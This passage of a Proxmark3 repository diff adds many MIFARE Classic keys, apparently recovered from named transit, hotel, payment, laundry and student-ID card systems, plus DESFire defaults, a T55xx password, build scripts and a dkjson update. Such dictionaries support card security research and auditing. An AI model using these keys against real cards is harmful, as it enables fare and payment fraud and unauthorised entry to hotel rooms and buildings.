-2169,6 +2174,7 @@ D144BD193063 # Brazil transport Sec 8 / A 50d4c54fcdf5 # +# TEKKEN 6 Namco Data Card # Bandai Namco Passport [fka Banapassport] / Sega Aime Card # Dumped on the Flipper Devices Discord Server 6090D00632F5 @@ -2205,6 +2211,40 @@ C8382A233993 7B304F2A12A6 FC9418BF788B # +# Super Street Fighter 4 Capcom NESYS Card +4B6F74696174 +6F746961744B +4176696E7520 +76696E752041 +576C61737265 +6C6173726557 +416962616320 +696261632041 +42622074656E +622074656E42 +416174363030 +617436303041 +5475206F7469 +75206F746954 +41726576696E +726576696E41 +4B63206C6173 +63206C61734B +41656E696261 +656E69626141 +5A3030622074 +30306220745A +557469617436 +746961743655 +48696E75206F +696E75206F48 +496173726576 +617372657649 +52626163206C +626163206C52 +4F2074656E69 +2074656E694F +# # Guest Cashless Prepaid Arcade Payment Cards 168168168168 198407157610 @@ -2212,6 +2252,16 @@ FC9418BF788B 4E4F584D2105 686B35333376 861861861861 +# +# Transport System Cracow / Polen +B071A76BA2E9 +B3A181BCA5F2 +3225942F7717 +80D00703C5FB +6DD510E080B1 +87529F30FC58 +B75C4FA614AE +42DC568C64F4 # Data from "the more the marriott" mifare project (colonelborkmundus) # aka The Horde # @@ -2492,10 +2542,8 @@ FAB943906E9C # R.A.T.T transport card key A/B AA034F342A55 456776908C48 - +# # BusFacil - Brazilian public transport card for some cities -7b296f353c6b -3fa7217ec575 fae9b14365a9 c567dd4a6004 c567dd4a6005 @@ -2586,10 +2634,6 @@ b1ea40b2caa6 3abf8431003b # Sector 15 - see above # SKGT personalised subscription card -# Sector 0, 2, 16, key A -a0a1a2a3a4a5 -# Sector 8-14, 17-39, key A -ffffffffffff # Sector 1, key A # blue f1df0ca8948b @@ -2637,4 +2681,532 @@ ff59c6d13f88 # Hanoi Bus Rapid Transit - 1/2/3 A AAAFBA10FC37 C61F2C28DADF -23AACA30CBF2 \ No newline at end of file +23AACA30CBF2 +# +# Keys dumped from student ID (AGH Cracow - Poland), may be diversified +# Need to be verified +833E4F32589E +432D02DA59F3 +5C161CA2716F +F60B5F9666B8 +98EAC5321D2F +CC945E3FE5C4 +70783C436CF4 +2D186C7149A9 +5D60AC0939FC +93A5CE63C873 +87174550E900 +45675B25A3DA +F91750E629D5 +A3E662ABCDC8 +33D99E9FFA6A +FF7AABA39C61 +A8248C049BEA +C2AF731771C4 +9263B2E0DD80 +CE7FCCBBA5D8 +F8E385E5A2A0 +B27678B5C4AE +D68D7EBB9551 +7AB63F082328 +# +# Payment cards used by Eurest on certain campuses +7E2BC58168EB +# +# Shower cards provided by Seijsener +291A65CBEA7B +344A359BBAD9 +476572726974 +4D696368656C +4F3748E6C826 +69D40AF8B353 +72DEA10F21DF +74845AA8E3F1 +8C3C43EDCC55 +ACD30DFFB434 +D1A27C8EC5DF +F14D329CBDBE +# +# Hotel cards from Austria +AB287B3B4903 +7B0DEDA7E162 +# +#Metro Q transit cards from Huston, Texas +373B72D34B80 +BF3FFC245C9b +7D1D9E7CF8A7 +6A917BF357E6 +B1D461EC62CA +C6BECABEBE8A +66026782D435 +4547E34E40D9 +753897b99AAE +1C36761E8ABD +6D8FBD8CC524 +5A3274779706 +23F13602CC1A +511C1C2C9804 +F8B2B926555E +2593E37D9B2E +41A1F17EE990 +64DD48AEDE88 +7915ED4D9903 +D139DD71DB92 +216D97D46E88 +D9D1C447E427 +911E789433CB +93B43D689F85 +525A869053F1 +69B25667E0B4 +6AACA2D97645 +# UK London Office +435DF6296EC4 +2338B4913222 +# Acces card of students, and more in Occitanie, France +E9A553102EA5 +F982E971CFED +1F42AB9159EE +BBFB836A48B8 +B5D170B2E8F5 +E76978A05F10 +0B1A995DD007 +650DB9CEDB6B +13E54B4448B7 +3E3540C2C273 +A76152840117 +066CCC7666BC +3C0B3AC3AFA3 +CCB541598D72 +1988B5D48EC3 +892EEF0D30FB +0FE5CE5CC640 +# Volgograd (Russia) Volna transport cards keys +2B787A063D5D +D37C8F1793F7 +# H World Hotel Chain Room Keys +543071543071 +5F01015F0101 +200510241234 +# +# Momentum-Firmware 20241201 +AC935925A876 +ADC169F922CB +AD00EFD353E4 +AEF617B3D004 +AEF617B3D040 +AE381EA0811B +AE683AC2A232 +AF2BFB44A4A5 +A2CA48CA4C05 +A2D5D7469472 +A23412F92811 +A64536FAC799 +A7127F539A16 +A8700E07A58F +A9B9C1D0E3F1 +BC305FE2DA65 +BE3C1BF60B37 +B0A3212D47A5 +B0D58BF147B7 +B02094F92A71 +B1EEAA640EF6 +B19A0664ECA6 +B4FAE0FAD22E +B456E1951216 +B48D7E4E508F +B54D99618ADC +B6728D9B95BA +CA22AF33A19B +CBC83E1548B4 +CB5ED0E57B08 +CC5F59A0CE0A +CF0EC6ACF2F9 +C1F6C7B55F5E +C290A397F84A +C34FAA1931CA +C49C9BF59547 +C497C3BE8273 +C7D1CB6774B0 +C789E4568B99 +C992F85B2DDD +DCD003CF0EA3 +DD30A13519C3 +DD6E74174648 +DE5865F29C44 +DF7C4EC20B50 +D017A84BB582 +D156F66D38EC +D3AEB15D410B +D324152F5BB0 +D3849E31EE4F +D410EFF9113E +D51BCA1DFFFF +D6818C29ED9B +D7142E0F6D0D +D881B675D881 +D9762D114AE5 +EA19E58DD046 +EA4987F8D096 +EB9D9C1B03F6 +EDA4BF3E7B04 +EDC9CC9109A2 +EEF144866688 +E10F0E7A8DD5 +E108EA397A9A +E24359F37FE4 +E3007FA4F781 +E5051FAB4371 +E861FDE1B59F +E87E3554727E +E9B376925A00 +E954024EE754 +FA4D2B3BAFEA +FA8CA10C7D59 +FE98F38F3EE2 +F18D91EE3033 +F3E3F9F977B9 +F4756F7EEAE1 +F654D6C7004F +F697E87E759D +F7A545095C49 +F833E24C3F1C +0CD464CDC100 +0D61BA88789C +0E726E11CFCC +0FC4B1D2EBBA +01E2C14F1B18 +02DB253DC0C7 +03A7AAAA28AD +0380293A9E6D +0402B44FB679 +050BF33DC217 +08A55BC96DC1 +08D6A7765640 +08ED3F92AA53 +09F4EC8D7A66 +1A8CFF2F1BC7 +1C000EB0752F +1D14130D1A0B +1E13EFF32CE2 +101209170A13 +11DDA4862A1C +113355779933 +1153AABAFF6C +12BA20088ED3 +120A7837BB5D +1202165D4EAB +122F595302AA +124F004321D3 +132F641C948B +14CD299DC0C7 +141DF3B1C017 +1415FFFED68D +15B35D0BF715 +156EED7C5F9D +1581C317B073 +164EE10EFFFF +16785FD65BA7 +17C06D19E92F +17E0FA2308FD +1719EB5DAC66 +19BA6776233F +190E6242CE7B +193DFE0FA18E +2B29232D3624 +2CAD8A83DF28 +2D2F182C4024 +2EAD4DD0F7B0 +2FA9B556A4F6 +201106141030 +202011F918A2 +204C0D3DCD9A +20525276F443 +215E9DED9DDF +25FE2B4E4FA9 +251BDBF1C71D +251780F9FBE6 +25467EB0212F +280FD37AD407 +280713CBA260 +286A8893AC6F +3D6F823FFFFF +3E0557273982 +3F41891454EE +30C1DC9DD040 +310308EC52EF +321803E38664 +32774E46C64F +330075000850 +3333F411AAAA +334E91BE3377 +381F84DB8134 +38540EEE8B1C +4A1094F378D8 +4A6E1CAD6D3D +4C44200BC9C5 +4D4946415245 +40454EE64229 +41CD3CD99DD5 +4149206E9BAE +42F82DB5C4AF +4204784B0DC9 +43204334546F +439FB891279F +44ACB624CA14 +44B61F116125 +4427385D72AB +444E4650475A +45450AC8DCA8 +45524DACC5E9 +45574D373B9D +475A444E4650 +4752533E1965 +48B390984150 +48C8852D15F9 +4844426F6E69 +485242F22BE0 +49EE8D52AAB6 +49FEE42DDC18 +49414556EF4D +5AD3FC074A4C +5A15888F3419 +5A2050DA7E3F +5A4920FD6F87 +5CD02DAD8ADE +5C475D2C70C6 +5D819B4BFAF3 +5E696FA0EAD1 +5FA28B8E8BA4 +5F8892561BED +505209266A1F +507A6181E4BF +538BF58687EB +544954CBB2C4 +54546255CDE9 +549BB4FD70C4 +552049EFF3F4 +55213B4F7328 +555D8BBC2D3E +56A4B81B3FC3 +5669C363A4A5 +57E39104CC87 +570FB865D650 +5703815494EF +57059FFD3EE6 +58DBC850A4D5 +585462E190F2 +5990EC1571D7 +6AC79644E0CD +6A530C91F85B +6A86C1895A21 +6C4953590463 +6C79548B3FC3 +6D2BF79566A8 +60D53F070572 +6036F9D72D68 +61152534ACEF +62616E616E61 +66A4932816D3 +6611DFFAAE32 +68C867397AD5 +6862FD600F78 +7ADD3D735725 +7AEB989A5525 +7BF0BE85080F +7B6C00CBAC92 +7CB033257498 +7C20975C6EC9 +7C3AF198425F +7EDAE7923287 +7F796F60FFFF +701AA491A4A5 +72A0C485D3F7 +7213B13D02E0 +722538817225 +7246FCE86427 +735DD20237A9 +746A70C4EF6F +78DF1176C8FD +79E8B59A51E0 +8AC04C1A4E15 +8A0DFD9B7AEA +8A35039F6CD6 +8C524B535E1D +8DF64AB19A16 +8D2B780A148D +8D96A0BA7234 +8EF0AA6432FA +80003D23C6F5 +8000806B5072 +81C0BBCE32E9 +81D6CC146E50 +8380ACDC017E +84A3FD4BA0C6 +840C16869171 +8430A669558C +9AE05868233F +9B2C3E00B561 +9EE3896C4530 +9F14D35BAC08 +9001D0E23F8C +907E5C641D94 +9089B668FFFF +91B1B62402D5 +93FB38FE585A +96AECCC0F7EB +96227EDADBCF +# +# BW Kantine +56cf3acd90ca +542089792be2 +5420aeada758 +# +# CSC Laundry +212223242555 +717273747555 +# +# Hotel cards, BETECH brand, Vietnam +AAC34D9A4E65 +# +# Dutch Statistics Agency (CBS) +DC7B15AA0938 +# +# keys from https://pastebin.com/tpKwph0h +AAAAAABBBBCC +74ABCB1405DE +A25CDE2F781A +6054AC9541C8 +828DDEEE4D98 +ED2B22929167 +C552C1B92395 +F4A4AA2F63A4 +25ECB7B2BAB1 +8B02EF84CDF1 +23EAFB5DA46D +AB921CF0752C +# +# Hotel cards, from one facility using TESA locks... +90C270F690C2 +# ...along with the key used for one of the other services. +0000013B0ED0 +# +# Saragossa transport cards (Bus & Lazo) +04000C0F0903 +0B02070A0409 +4E303D402F20 +216F5B212A7A +5148755C3427 +5C7A355C295A +5246612E7C4B +354B39454861 +455D732C385F +243372407C2E +44202E476E5B +3C4520753758 +206F7C4C4F36 +265A5F32DE73 +567D734C403C +2426217B3B3B +# +# German Aral Gas Station Car-Wash cards +080507020706 +0100815D8D00 +2459514AED5B +5D493F6B0352 +1CEC0F0ACC0E +922B5D1BF2BC +2D7E76C7B8EC +5E59896806FF +097EEA4FE51B +688FC86BAB79 +C01D1DBEEE79 +2529BF8544C2 +C6052FBAA150 +A1D7B3A95605 +00D0BF748E77 +C082C0F35CE6 +3C86C78541A7 +5632DCC517E1 +9310191C338F +2761858C02D7 +8C64B49C7638 +B1BA3E778930 +2037627D9260 +28C4D7170FCD +# +# Card keys from Andalusian public transport system (Consorcio de Transportes) +1848A8D1E4C5 +16EE1FE134E4 +5246B8F4ACFC +515A8209843C +0EF7636AA829 +E59D0F78C413 +5AF68604DD6B +B0BCB22DCBA3 +51B3EF60BF56 +99100225D83B +63C88F562B97 +B30B6A5AD434 +D33E4A4A0041 +9C0A4CC89D61 +5204D83D8CD3 +A662F9DC0D3D +# +# Card keys from EMT Malaga (Spain) bus system +41534E354936 +454D41343253 +4541444C4130 +46305234324E +505444505232 +5239425A3546 +454449434631 +414F4544384C +344E4F4E4937 +45444E413254 +3255534D3033 +4F554D523935 +3141544D3735 +494E47463539 +32414F4E3341 +41534C473637 +534E41395430 +41364C38364F +525241414D39 +41304532334F +4D4545494F35 +4E324C453045 +394143494E32 +5352554E3245 +324553553036 +444D414E3539 +324745413232 +4E4E41455236 +394C52493639 +4D4941413236 +414D504F3243 +434C414E3639 +# Key for Waferlock shadow programming card and shadow user card +333030313536 +# +# Poland Warsaw public transport card keys +2481118e5355 +b6f0fc87f57f +e4fdac292bed +5888180adbe6 +d572c9491137 +64ea317b7abd +a39a286285db +898989890823 +898989891789 +898989893089 +b6e56bad206a +8fe6fa230c69 +4d1095f1af34 +1ad2f99bb9e9 +891089898989 +896389898989 +890163898989 +898927638989 +898989063889 +898989428989 +898989048989 diff --git a/client/dictionaries/mfdes_default_keys.dic b/client/dictionaries/mfdes_default_keys.dic index 8611f2de9..3b4e1dc28 100644 --- a/client/dictionaries/mfdes_default_keys.dic +++ b/client/dictionaries/mfdes_default_keys.dic @@ -4,10 +4,12 @@ ffffffffffffffff 0011223344556677 1122334455667788 a0a1a2a3a4a5a6a7 +d3f7d3f7d3f7d3f7 00000000000000000000000000000000 #NXP Default 3DES/AES 000000000000000000000000000000000000000000000000 #NXP Default 3K3DES 00112233445566778899AABBCCDDEEFF0102030405060708 ffffffffffffffffffffffffffffffffffffffffffffffff +d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 425245414B4D454946594F5543414E21 # default UL-C key 00112233445566778899AABBCCDDEEFF #TI TRF7970A sloa213 79702553797025537970255379702553 #TI TRF7970A sloa213 diff --git a/client/dictionaries/t55xx_default_pwds.dic b/client/dictionaries/t55xx_default_pwds.dic index 570264306..206e702f7 100644 --- a/client/dictionaries/t55xx_default_pwds.dic +++ b/client/dictionaries/t55xx_default_pwds.dic @@ -22,6 +22,8 @@ F9DCEBA0 89A69E60 # ref lock 314159E0 +#Zonsin ZX-COPY10 +7B3D5C48 # ref. http://www.proxmark.org/forum/viewtopic.php?pid=28115#p28115 AA55BBBB # ref. http://www.proxmark.org/forum/viewtopic.php?pid=33376#p33376 diff --git a/client/experimental_client_with_swig/01make_client_cmake.sh b/client/experimental_client_with_swig/01make_client_cmake.sh index 456227a7a..e0425af9c 100755 --- a/client/experimental_client_with_swig/01make_client_cmake.sh +++ b/client/experimental_client_with_swig/01make_client_cmake.sh @@ -9,7 +9,7 @@ cmake .. make -j ) - rm proxmark3 - ln -s build/proxmark3 . + ln -sf build/proxmark3 . ) -ln -s ../pyscripts/pm3.py +ln -sf ../pyscripts/pm3.py +ln -sf ../lualibs/dkjson.lua diff --git a/client/experimental_client_with_swig/01make_client_makefile.sh b/client/experimental_client_with_swig/01make_client_makefile.sh index 93ab04ca2..fc16bcd5c 100755 --- a/client/experimental_client_with_swig/01make_client_makefile.sh +++ b/client/experimental_client_with_swig/01make_client_makefile.sh @@ -1,4 +1,8 @@ #!/bin/bash -cd .. -make -j +( + cd .. + make -j +) +ln -sf ../pyscripts/pm3.py +ln -sf ../lualibs/dkjson.lua diff --git a/client/experimental_client_with_swig/testembedded.lua b/client/experimental_client_with_swig/testembedded.lua index e4ad8311e..4857a5372 100755 --- a/client/experimental_client_with_swig/testembedded.lua +++ b/client/experimental_client_with_swig/testembedded.lua @@ -10,4 +10,16 @@ for line in p.grabbed_output:gmatch("[^\r\n]+") do end print("Device:", p.name) -p:console("Rem passthru remark! :coffee:", true) +p:console("Rem passthru remark! :coffee:", false, false) + +local json = require("dkjson") +print("Fetching prefs:") +p:console("prefs show --json") +local prefs, err = json.decode(p.grabbed_output) +if not prefs then + print("Error decoding JSON: ", err) +else + print("Save path: ", prefs['file.default.savepath']) + print("Dump path: ", prefs['file.default.dumppath']) + print("Trace path:", prefs['file.default.tracepath']) +end diff --git a/client/experimental_client_with_swig/testembedded.py b/client/experimental_client_with_swig/testembedded.py index 6dbff0403..78564a314 100755 --- a/client/experimental_client_with_swig/testembedded.py +++ b/client/experimental_client_with_swig/testembedded.py @@ -11,4 +11,12 @@ for line in p.grabbed_output.split('\n'): if "uC:" in line: print(line) print("Device:", p.name) -p.console("Rem passthru remark! :coffee:", True) +p.console("Rem passthru remark! :coffee:", capture=False, quiet=False) + +import json +print("Fetching prefs:") +p.console("prefs show --json") +prefs = json.loads(p.grabbed_output) +print("Save path: ", prefs['file.default.savepath']) +print("Dump path: ", prefs['file.default.dumppath']) +print("Trace path:", prefs['file.default.tracepath']) diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index 73edfaac0..7d0c952b1 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -1,5 +1,4 @@ #----------------------------------------------------------------------------- -# Copyright (C) Jonathan Westhues, Mar 2006 # Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. # # This program is free software: you can redistribute it and/or modify @@ -45,6 +44,9 @@ endif() find_package(PkgConfig) +# Allow specifying a Python version via cmake option +set(PYTHON3_PKGCONFIG "python3" CACHE STRING "Python3 package config version suffix") + if (NOT SKIPQT EQUAL 1) if(APPLE AND EXISTS /usr/local/opt/qt5) @@ -88,8 +90,8 @@ if (NOT SKIPBT EQUAL 1) endif (NOT SKIPBT EQUAL 1) if (NOT SKIPPYTHON EQUAL 1) - pkg_search_module(PYTHON3 QUIET python3) - pkg_search_module(PYTHON3EMBED QUIET python3-embed) + pkg_search_module(PYTHON3 QUIET ${PYTHON3_PKGCONFIG}) + pkg_search_module(PYTHON3EMBED QUIET ${PYTHON3_PKGCONFIG}-embed) endif (NOT SKIPPYTHON EQUAL 1) # If cross-compiled, we need to init source and build. @@ -268,6 +270,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/crypto/asn1dump.c ${PM3_ROOT}/client/src/crypto/asn1utils.c ${PM3_ROOT}/client/src/crypto/libpcrypto.c + ${PM3_ROOT}/client/src/crypto/originality.c ${PM3_ROOT}/client/src/emv/test/cda_test.c ${PM3_ROOT}/client/src/emv/test/crypto_test.c ${PM3_ROOT}/client/src/emv/test/cryptotest.c @@ -377,6 +380,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdlfhid.c ${PM3_ROOT}/client/src/cmdlfhitag.c ${PM3_ROOT}/client/src/cmdlfhitaghts.c + ${PM3_ROOT}/client/src/cmdlfhitagu.c ${PM3_ROOT}/client/src/cmdlfidteck.c ${PM3_ROOT}/client/src/cmdlfindala.c ${PM3_ROOT}/client/src/cmdlfio.c @@ -410,8 +414,10 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/fileutils.c ${PM3_ROOT}/client/src/flash.c ${PM3_ROOT}/client/src/graph.c + ${PM3_ROOT}/client/src/hidsio.c ${PM3_ROOT}/client/src/iso4217.c ${PM3_ROOT}/client/src/jansson_path.c + ${PM3_ROOT}/client/src/lua_bitlib.c ${PM3_ROOT}/client/src/preferences.c ${PM3_ROOT}/client/src/pm3.c ${PM3_ROOT}/client/src/pm3_binlib.c @@ -428,7 +434,7 @@ set (TARGET_SOURCES add_custom_command( OUTPUT ${CMAKE_BINARY_DIR}/version_pm3.c - COMMAND ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c + COMMAND sh ${PM3_ROOT}/tools/mkversion.sh ${CMAKE_BINARY_DIR}/version_pm3.c || ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c DEPENDS ${PM3_ROOT}/common/default_version_pm3.c ) @@ -611,11 +617,11 @@ if (SKIPPYTHON EQUAL 1) message(STATUS "Python3 library: skipped") else (SKIPPYTHON EQUAL 1) if (PYTHON3EMBED_FOUND) - message(STATUS "Python3 library: Python3 embed found, enabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG}-embed found, enabled") elseif (PYTHON3_FOUND) - message(STATUS "Python3 library: Python3 found, enabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG} found, enabled") else (PYTHON3EMBED_FOUND) - message(STATUS "Python3 library: Python3 not found, disabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG} not found, disabled") endif (PYTHON3EMBED_FOUND) endif(SKIPPYTHON EQUAL 1) diff --git a/client/experimental_lib/example_c/test.c b/client/experimental_lib/example_c/test.c index bd1900154..6debb332c 100644 --- a/client/experimental_lib/example_c/test.c +++ b/client/experimental_lib/example_c/test.c @@ -9,6 +9,6 @@ int main(int argc, char *argv[]) { } pm3 *p; p = pm3_open(argv[1]); - pm3_console(p, "hw status", true); + pm3_console(p, "hw status", false, false); pm3_close(p); } diff --git a/client/experimental_lib/example_c/test_grab.c b/client/experimental_lib/example_c/test_grab.c index 69b2b7ebf..a814bb540 100644 --- a/client/experimental_lib/example_c/test_grab.c +++ b/client/experimental_lib/example_c/test_grab.c @@ -6,9 +6,6 @@ int main(int argc, char *argv[]) { -// char buf[8196 + 1]; - size_t n; - if (argc < 2) { printf("Usage: %s \n", argv[0]); exit(-1); @@ -18,7 +15,7 @@ int main(int argc, char *argv[]) { p = pm3_open(argv[1]); // Execute the command - pm3_console(p, "hw status", false); + pm3_console(p, "hw status", true, true); const char *buf = pm3_grabbed_output_get(p); const char *line_start = buf; diff --git a/client/experimental_lib/example_lua/01link_lib.sh b/client/experimental_lib/example_lua/01link_lib.sh index 5f9fb5f68..317e94573 100755 --- a/client/experimental_lib/example_lua/01link_lib.sh +++ b/client/experimental_lib/example_lua/01link_lib.sh @@ -1,3 +1,4 @@ #!/bin/bash -ln -fs ../build/libpm3rrg_rdv4.so pm3.so +ln -sf ../build/libpm3rrg_rdv4.so pm3.so +ln -sf ../../lualibs/dkjson.lua . diff --git a/client/experimental_lib/example_lua/02run_test.sh b/client/experimental_lib/example_lua/02run_test.sh index 32fb1ae55..ad07163c4 100755 --- a/client/experimental_lib/example_lua/02run_test.sh +++ b/client/experimental_lib/example_lua/02run_test.sh @@ -1,8 +1,8 @@ #!/bin/bash # pm3.so somewhere in default LUA_CPATH : -# /usr/local/lib/lua/5.2/pm3.so -# /usr/lib/lua/5.2/pm3.so +# /usr/local/lib/lua/5.4/pm3.so +# /usr/lib/lua/5.4/pm3.so # ./pm3.so ./test.lua diff --git a/client/experimental_lib/example_lua/test.lua b/client/experimental_lib/example_lua/test.lua index e8f7ad735..03c0dc149 100755 --- a/client/experimental_lib/example_lua/test.lua +++ b/client/experimental_lib/example_lua/test.lua @@ -1,4 +1,4 @@ -#!/usr/bin/env lua +#!/usr/bin/env lua5.4 local pm3 = require("pm3") p=pm3.pm3("/dev/ttyACM0") @@ -12,4 +12,16 @@ for line in p.grabbed_output:gmatch("[^\r\n]+") do end print("Device:", p.name) -p:console("Rem passthru remark! :coffee:", true) +p:console("Rem passthru remark! :coffee:", false, false) + +local json = require("dkjson") +print("Fetching prefs:") +p:console("prefs show --json") +local prefs, err = json.decode(p.grabbed_output) +if not prefs then + print("Error decoding JSON: ", err) +else + print("Save path: ", prefs['file.default.savepath']) + print("Dump path: ", prefs['file.default.dumppath']) + print("Trace path:", prefs['file.default.tracepath']) +end diff --git a/client/experimental_lib/example_py/01link_lib.sh b/client/experimental_lib/example_py/01link_lib.sh index 8cd153d41..4cfe8096b 100755 --- a/client/experimental_lib/example_py/01link_lib.sh +++ b/client/experimental_lib/example_py/01link_lib.sh @@ -1,3 +1,3 @@ #!/bin/bash -ln -fs ../build/libpm3rrg_rdv4.so _pm3.so +ln -sf ../build/libpm3rrg_rdv4.so _pm3.so diff --git a/client/experimental_lib/example_py/test.py b/client/experimental_lib/example_py/test.py index 7d9b4580a..fc932b7e5 100755 --- a/client/experimental_lib/example_py/test.py +++ b/client/experimental_lib/example_py/test.py @@ -11,4 +11,12 @@ for line in p.grabbed_output.split('\n'): if "uC:" in line: print(line) print("Device:", p.name) -p.console("Rem passthru remark! :coffee:", True) +p.console("Rem passthru remark! :coffee:", capture=False, quiet=False) + +import json +print("Fetching prefs:") +p.console("prefs show --json") +prefs = json.loads(p.grabbed_output) +print("Save path: ", prefs['file.default.savepath']) +print("Dump path: ", prefs['file.default.dumppath']) +print("Trace path:", prefs['file.default.tracepath']) diff --git a/client/include/pm3.h b/client/include/pm3.h index b19fe7174..92e99bacd 100644 --- a/client/include/pm3.h +++ b/client/include/pm3.h @@ -21,7 +21,7 @@ typedef struct pm3_device pm3; pm3 *pm3_open(const char *port); -int pm3_console(pm3 *dev, const char *cmd, bool passthru); +int pm3_console(pm3 *dev, const char *cmd, bool capture, bool quiet); const char *pm3_grabbed_output_get(pm3 *dev); const char *pm3_name_get(pm3 *dev); void pm3_close(pm3 *dev); diff --git a/client/lualibs/ansicolors.lua b/client/lualibs/ansicolors.lua index 290431383..3815310da 100644 --- a/client/lualibs/ansicolors.lua +++ b/client/lualibs/ansicolors.lua @@ -3,8 +3,6 @@ local tostring = tostring local setmetatable = setmetatable local schar = string.char -module 'ansicolors' - local colormt = {} function colormt:__tostring() @@ -57,7 +55,10 @@ local colors = { onwhite = 47, } +local Ansicolors = {} for c, v in pairs(colors) do - _M[c] = makecolor(v) + Ansicolors[c] = makecolor(v) end +return Ansicolors + diff --git a/client/lualibs/dkjson.lua b/client/lualibs/dkjson.lua index 9defbcd23..3bfbec2e7 100644 --- a/client/lualibs/dkjson.lua +++ b/client/lualibs/dkjson.lua @@ -1,23 +1,23 @@ -- Module options: -local always_try_using_lpeg = true +local always_use_lpeg = false local register_global_module_table = false local global_module_name = 'json' --[==[ -David Kolf's JSON module for Lua 5.1/5.2 +David Kolf's JSON module for Lua 5.1 - 5.4 -Version 2.5 +Version 2.8 For the documentation see the corresponding readme.txt or visit -. +. You can contact the author by sending an e-mail to 'david' at the domain 'dkolf.de'. -Copyright (C) 2010-2013 David Heiko Kolf +Copyright (C) 2010-2024 David Heiko Kolf Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the @@ -42,8 +42,8 @@ SOFTWARE. --]==] -- global dependencies: -local pairs, type, tostring, tonumber, getmetatable, setmetatable, rawset = - pairs, type, tostring, tonumber, getmetatable, setmetatable, rawset +local pairs, type, tostring, tonumber, getmetatable, setmetatable = + pairs, type, tostring, tonumber, getmetatable, setmetatable local error, require, pcall, select = error, require, pcall, select local floor, huge = math.floor, math.huge local strrep, gsub, strsub, strbyte, strchar, strfind, strlen, strformat = @@ -52,13 +52,19 @@ local strrep, gsub, strsub, strbyte, strchar, strfind, strlen, strformat = local strmatch = string.match local concat = table.concat -local json = { version = "dkjson 2.5" } +local json = { version = "dkjson 2.8" } + +local jsonlpeg = {} if register_global_module_table then - _G[global_module_name] = json + if always_use_lpeg then + _G[global_module_name] = jsonlpeg + else + _G[global_module_name] = json + end end -local _ENV = nil -- blocking globals in Lua 5.2 +local _ENV = nil -- blocking globals in Lua 5.2 and later pcall (function() -- Enable access to blocked metatables. @@ -219,6 +225,10 @@ local function addpair (key, value, prev, indent, level, buffer, buflen, tables, if indent then buflen = addnewline2 (level, buffer, buflen) end + -- When Lua is compiled with LUA_NOCVTN2S this will fail when + -- numbers are mixed into the keys of the table. JSON keys are always + -- strings, so this would be an implicit conversion too and the failure + -- is intentional. buffer[buflen+1] = quotestring (key) buffer[buflen+2] = ":" return encode2 (value, indent, level, buffer, buflen + 2, tables, globalorder, state) @@ -319,24 +329,25 @@ encode2 = function (value, indent, level, buffer, buflen, tables, globalorder, s for i = 1, n do local k = order[i] local v = value[k] - if v then + if v ~= nil then used[k] = true buflen, msg = addpair (k, v, prev, indent, level, buffer, buflen, tables, globalorder, state) - prev = true -- add a separator before the next element + if not buflen then return nil, msg end + prev = true -- add a seperator before the next element end end for k,v in pairs (value) do if not used[k] then buflen, msg = addpair (k, v, prev, indent, level, buffer, buflen, tables, globalorder, state) if not buflen then return nil, msg end - prev = true -- add a separator before the next element + prev = true -- add a seperator before the next element end end else -- unordered for k,v in pairs (value) do buflen, msg = addpair (k, v, prev, indent, level, buffer, buflen, tables, globalorder, state) if not buflen then return nil, msg end - prev = true -- add a separator before the next element + prev = true -- add a seperator before the next element end end if indent then @@ -385,7 +396,7 @@ local function loc (str, where) break end end - return "line " .. line .. ", column " .. (where - linepos) + return strformat ("line %d, column %d", line, where - linepos) end local function unterminated (str, what, where) @@ -504,7 +515,6 @@ end local scanvalue -- forward declaration local function scantable (what, closechar, str, startpos, nullval, objectmeta, arraymeta) - local len = strlen (str) local tbl, n = {}, 0 local pos = startpos + 1 if what == 'object' then @@ -600,7 +610,7 @@ end function json.use_lpeg () local g = require ("lpeg") - if g.version() == "0.11" then + if type(g.version) == 'function' and g.version() == "0.11" then error "due to a bug in LPeg 0.11, it cannot be used for JSON matching" end @@ -619,10 +629,18 @@ function json.use_lpeg () return g.Cmt (g.Cc (msg) * g.Carg (2), ErrorCall) end + local function ErrorUnterminatedCall (str, pos, what, state) + return ErrorCall (str, pos - 1, "unterminated " .. what, state) + end + local SingleLineComment = P"//" * (1 - S"\n\r")^0 local MultiLineComment = P"/*" * (1 - P"*/")^0 * P"*/" local Space = (S" \n\r\t" + P"\239\187\191" + SingleLineComment + MultiLineComment)^0 + local function ErrUnterminated (what) + return g.Cmt (g.Cc (what) * g.Carg (2), ErrorUnterminatedCall) + end + local PlainChar = 1 - S"\"\\\n\r" local EscapeSequence = (P"\\" * g.C (S"\"\\/bfnrt" + Err "unsupported escape sequence")) / escapechars local HexDigit = R("09", "af", "AF") @@ -640,7 +658,7 @@ function json.use_lpeg () local U16Sequence = (P"\\u" * g.C (HexDigit * HexDigit * HexDigit * HexDigit)) local UnicodeEscape = g.Cmt (U16Sequence * U16Sequence, UTF16Surrogate) + U16Sequence/UTF16BMP local Char = UnicodeEscape + EscapeSequence + PlainChar - local String = P"\"" * g.Cs (Char ^ 0) * (P"\"" + Err "unterminated string") + local String = P"\"" * (g.Cs (Char ^ 0) * P"\"" + ErrUnterminated "string") local Integer = P"-"^(-1) * (P"0" + (R"19" * R"09"^0)) local Fractal = P"." * R"09"^0 local Exponent = (S"eE") * (S"+-")^(-1) * R"09"^1 @@ -653,41 +671,62 @@ function json.use_lpeg () -- at a time and store them directly to avoid hitting the LPeg limits. local function parsearray (str, pos, nullval, state) local obj, cont + local start = pos local npos local t, nt = {}, 0 repeat obj, cont, npos = pegmatch (ArrayContent, str, pos, nullval, state) - if not npos then break end + if cont == 'end' then + return 